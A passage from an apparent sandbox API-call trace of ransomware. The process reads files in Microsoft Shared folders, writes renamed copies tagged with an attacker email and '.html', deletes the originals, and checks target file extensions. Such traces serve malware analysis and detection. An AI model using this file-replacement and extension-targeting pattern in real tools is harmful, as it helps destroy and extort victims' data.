lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.335] GetLastError () returned 0x0 [0055.335] ReadFile (in: hFile=0x1d8, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x49f80, lpOverlapped=0x0) returned 1 [0055.342] WriteFile (in: hFile=0x1ec, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0055.347] ReadFile (in: hFile=0x1d8, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.347] WriteFile (in: hFile=0x1ec, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0055.347] SetEndOfFile (hFile=0x1ec) returned 1 [0055.347] CloseHandle (hObject=0x1ec) returned 1 [0055.348] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.348] SetEndOfFile (hFile=0x1d8) returned 1 [0055.351] CloseHandle (hObject=0x1d8) returned 1 [0055.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.351] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0055.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.351] lstrlenW (lpString=".doc") returned 4 [0055.351] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.351] lstrlenW (lpString=".docx") returned 5 [0055.351] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.351] lstrlenW (lpString=".pdf") returned 4 [0055.351] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.351] lstrlenW (lpString=".xls") returned 4 [0055.351] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.351] lstrlenW (lpString=".xlsx") returned 5 [0055.351] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.351] lstrlenW (lpString=".ppt") returned 4 [0055.351] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.351] lstrlenW (lpString=".zip") returned 4 [0055.352] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.352] lstrlenW (lpString=".rar") returned 4 [0055.352] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.352] lstrlenW (lpString=".bz2") returned 4 [0055.352] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.352] lstrlenW (lpString=".7z") returned 3 [0055.352] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.352] lstrlenW (lpString=".dbf") returned 4 [0055.352] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.352] lstrlenW (lpString=".1cd") returned 4 [0055.352] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.352] lstrlenW (lpString=".jpg") returned 4 [0055.352] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.352] lstrlenW (lpString=".doc") returned 4 [0055.352] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.352] lstrlenW (lpString=".docx") returned 5 [0055.352] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.352] lstrlenW (lpString=".pdf") returned 4 [0055.352] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.352] lstrlenW (lpString=".xls") returned 4 [0055.352] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.352] lstrlenW (lpString=".xlsx") returned 5 [0055.352] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.352] lstrlenW (lpString=".ppt") returned 4 [0055.352] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.353] lstrlenW (lpString=".zip") returned 4 [0055.353] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.353] lstrlenW (lpString=".rar") returned 4 [0055.353] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.353] lstrlenW (lpString=".bz2") returned 4 [0055.353] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.353] lstrlenW (lpString=".7z") returned 3 [0055.353] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.353] lstrlenW (lpString=".dbf") returned 4 [0055.353] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.353] lstrlenW (lpString=".1cd") returned 4 [0055.353] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0055.353] lstrlenW (lpString=".jpg") returned 4 [0055.353] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.353] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0055.353] lstrlenW (lpString="msitss55.dll") returned 12 [0055.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0056.414] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=430080) returned 1 [0056.414] CloseHandle (hObject=0x238) returned 1 [0056.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0056.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0056.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0056.414] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.414] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0056.415] GetLastError () returned 0x0 [0056.415] ReadFile (in: hFile=0x238, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x69000, lpOverlapped=0x0) returned 1 [0056.424] WriteFile (in: hFile=0x194, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x69010, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x69010, lpOverlapped=0x0) returned 1 [0056.431] ReadFile (in: hFile=0x238, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.431] WriteFile (in: hFile=0x194, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.431] SetEndOfFile (hFile=0x194) returned 1 [0056.431] CloseHandle (hObject=0x194) returned 1 [0056.432] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.432] SetEndOfFile (hFile=0x238) returned 1 [0056.435] CloseHandle (hObject=0x238) returned 1 [0056.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 1 [0056.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.436] lstrlenW (lpString=".doc") returned 4 [0056.436] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.436] lstrlenW (lpString=".docx") returned 5 [0056.436] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0056.436] lstrlenW (lpString=".pdf") returned 4 [0056.436] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.436] lstrlenW (lpString=".xls") returned 4 [0056.436] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.436] lstrlenW (lpString=".xlsx") returned 5 [0056.436] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0056.436] lstrlenW (lpString=".ppt") returned 4 [0056.436] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.436] lstrlenW (lpString=".zip") returned 4 [0056.437] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.437] lstrlenW (lpString=".rar") returned 4 [0056.437] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.437] lstrlenW (lpString=".bz2") returned 4 [0056.437] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.437] lstrlenW (lpString=".7z") returned 3 [0056.437] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.437] lstrlenW (lpString=".dbf") returned 4 [0056.437] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.437] lstrlenW (lpString=".1cd") returned 4 [0056.437] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.437] lstrlenW (lpString=".jpg") returned 4 [0056.437] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.437] lstrlenW (lpString=".doc") returned 4 [0056.437] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.437] lstrlenW (lpString=".docx") returned 5 [0056.437] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0056.437] lstrlenW (lpString=".pdf") returned 4 [0056.437] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.437] lstrlenW (lpString=".xls") returned 4 [0056.437] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.437] lstrlenW (lpString=".xlsx") returned 5 [0056.437] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0056.437] lstrlenW (lpString=".ppt") returned 4 [0056.437] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.438] lstrlenW (lpString=".zip") returned 4 [0056.438] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.438] lstrlenW (lpString=".rar") returned 4 [0056.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.438] lstrlenW (lpString=".bz2") returned 4 [0056.438] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.438] lstrlenW (lpString=".7z") returned 3 [0056.438] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.438] lstrlenW (lpString=".dbf") returned 4 [0056.438] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.438] lstrlenW (lpString=".1cd") returned 4 [0056.438] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0056.438] lstrlenW (lpString=".jpg") returned 4 [0056.438] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.438] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.438] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0056.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.834] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=22528) returned 1 [0057.834] CloseHandle (hObject=0x184) returned 1 [0057.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0057.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.842] lstrlenW (lpString=".doc") returned 4 [0057.842] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.842] lstrlenW (lpString=".docx") returned 5 [0057.842] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.842] lstrlenW (lpString=".pdf") returned 4 [0057.842] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString=".xls") returned 4 [0057.842] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString=".xlsx") returned 5 [0057.842] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.842] lstrlenW (lpString=".ppt") returned 4 [0057.842] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.842] lstrlenW (lpString=".zip") returned 4 [0057.842] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString=".rar") returned 4 [0057.842] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.842] lstrlenW (lpString=".bz2") returned 4 [0057.842] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.842] lstrlenW (lpString=".7z") returned 3 [0057.843] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.843] lstrlenW (lpString=".dbf") returned 4 [0057.843] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.843] lstrlenW (lpString=".1cd") returned 4 [0057.843] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.843] lstrlenW (lpString=".jpg") returned 4 [0057.843] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.843] lstrlenW (lpString=".doc") returned 4 [0057.843] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString=".docx") returned 5 [0057.843] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.843] lstrlenW (lpString=".pdf") returned 4 [0057.843] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString=".xls") returned 4 [0057.843] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString=".xlsx") returned 5 [0057.843] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.843] lstrlenW (lpString=".ppt") returned 4 [0057.843] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.843] lstrlenW (lpString=".zip") returned 4 [0057.843] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString=".rar") returned 4 [0057.843] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.843] lstrlenW (lpString=".bz2") returned 4 [0057.843] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.843] lstrlenW (lpString=".7z") returned 3 [0057.844] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.844] lstrlenW (lpString=".dbf") returned 4 [0057.844] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.844] lstrlenW (lpString=".1cd") returned 4 [0057.844] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0057.844] lstrlenW (lpString=".jpg") returned 4 [0057.844] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.844] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.844] lstrlenW (lpString="mip.exe.mui") returned 11 [0057.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.844] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=10240) returned 1 [0057.844] CloseHandle (hObject=0x184) returned 1 [0057.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0057.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.845] lstrlenW (lpString=".doc") returned 4 [0057.845] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString=".docx") returned 5 [0057.845] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0057.845] lstrlenW (lpString=".pdf") returned 4 [0057.845] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString=".xls") returned 4 [0057.845] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString=".xlsx") returned 5 [0057.845] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0057.845] lstrlenW (lpString=".ppt") returned 4 [0057.845] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.845] lstrlenW (lpString=".zip") returned 4 [0057.845] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString=".rar") returned 4 [0057.845] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.845] lstrlenW (lpString=".bz2") returned 4 [0057.845] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString=".7z") returned 3 [0057.845] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.845] lstrlenW (lpString=".dbf") returned 4 [0057.845] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.846] lstrlenW (lpString=".1cd") returned 4 [0057.846] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.846] lstrlenW (lpString=".jpg") returned 4 [0057.846] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.846] lstrlenW (lpString=".doc") returned 4 [0057.846] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.846] lstrlenW (lpString=".docx") returned 5 [0057.846] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0057.846] lstrlenW (lpString=".pdf") returned 4 [0057.846] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString=".xls") returned 4 [0057.846] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString=".xlsx") returned 5 [0057.846] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0057.846] lstrlenW (lpString=".ppt") returned 4 [0057.846] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.846] lstrlenW (lpString=".zip") returned 4 [0057.846] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString=".rar") returned 4 [0057.846] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.846] lstrlenW (lpString=".bz2") returned 4 [0057.846] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.846] lstrlenW (lpString=".7z") returned 3 [0057.846] lstrcmpiW (lpString1=".7z", lpString2="mui") 